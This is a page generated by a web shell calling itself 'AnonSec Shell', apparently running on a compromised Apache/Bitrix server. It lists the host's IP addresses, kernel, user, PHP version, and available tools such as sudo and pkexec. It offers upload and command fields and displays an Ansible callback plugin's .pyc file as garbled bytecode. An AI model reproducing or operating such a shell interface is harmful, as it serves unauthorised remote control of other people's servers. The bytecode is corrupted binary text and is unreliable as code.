AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.133.151.199
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python2.7/site-packages/ansible/plugins/callback/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /lib/python2.7/site-packages/ansible/plugins/callback/context_demo.pyc
�
��\c@`sRddlmZmZmZeZdZddlmZdefd��YZ	dS(i(tabsolute_importtdivisiontprint_functions>
    callback: context_demo
    type: aggregate
    short_description: demo callback that adds play/task context
    description:
      - Displays some play and task context along with normal output
      - This is mostly for demo purposes
    version_added: "2.1"
    requirements:
      - whitelist in configuration
(tCallbackBasetCallbackModulecB`sJeZdZdZdZdZeZd�Zd�Z	d�Z
d�ZRS(s�
    This is a very trivial example of how any callback function can get at play and task objects.
    play will be 'None' for runner invocations, and task will be None for 'setup' invocations.
    g@t	aggregatetcontext_democO`s/tt|�j||�d|_d|_dS(N(tsuperRt__init__tNonettasktplay(tselftargstkwargs((sI/usr/lib/python2.7/site-packages/ansible/plugins/callback/context_demo.pyR!s	cO`s�|jjdjt|jdd�|j��|jjd�x4t|�D]&\}}|jjd||f�qKW|jjd�x,|D]$}|jjd|||f�q�WdS(Ns--- play: {0} task: {1} ---tnames     --- ARGS s     %s: %ss      --- KWARGS (t_displaytdisplaytformattgetattrRR	R
t	enumerate(RR
Rtitatk((sI/usr/lib/python2.7/site-packages/ansible/plugins/callback/context_demo.pyt	v2_on_any&s.
cC`s
||_dS(N(R(RR((sI/usr/lib/python2.7/site-packages/ansible/plugins/callback/context_demo.pytv2_playbook_on_play_start1scC`s
||_dS(N(R
(RR
tis_conditional((sI/usr/lib/python2.7/site-packages/ansible/plugins/callback/context_demo.pytv2_playbook_on_task_start4s(t__name__t
__module__t__doc__tCALLBACK_VERSIONt
CALLBACK_TYPEt
CALLBACK_NAMEtTruetCALLBACK_NEEDS_WHITELISTRRRR(((sI/usr/lib/python2.7/site-packages/ansible/plugins/callback/context_demo.pyRs			N(
t
__future__RRRttypet
__metaclass__t
DOCUMENTATIONtansible.plugins.callbackRR(((sI/usr/lib/python2.7/site-packages/ansible/plugins/callback/context_demo.pyt<module>s

Anon7 - 2022
AnonSec Team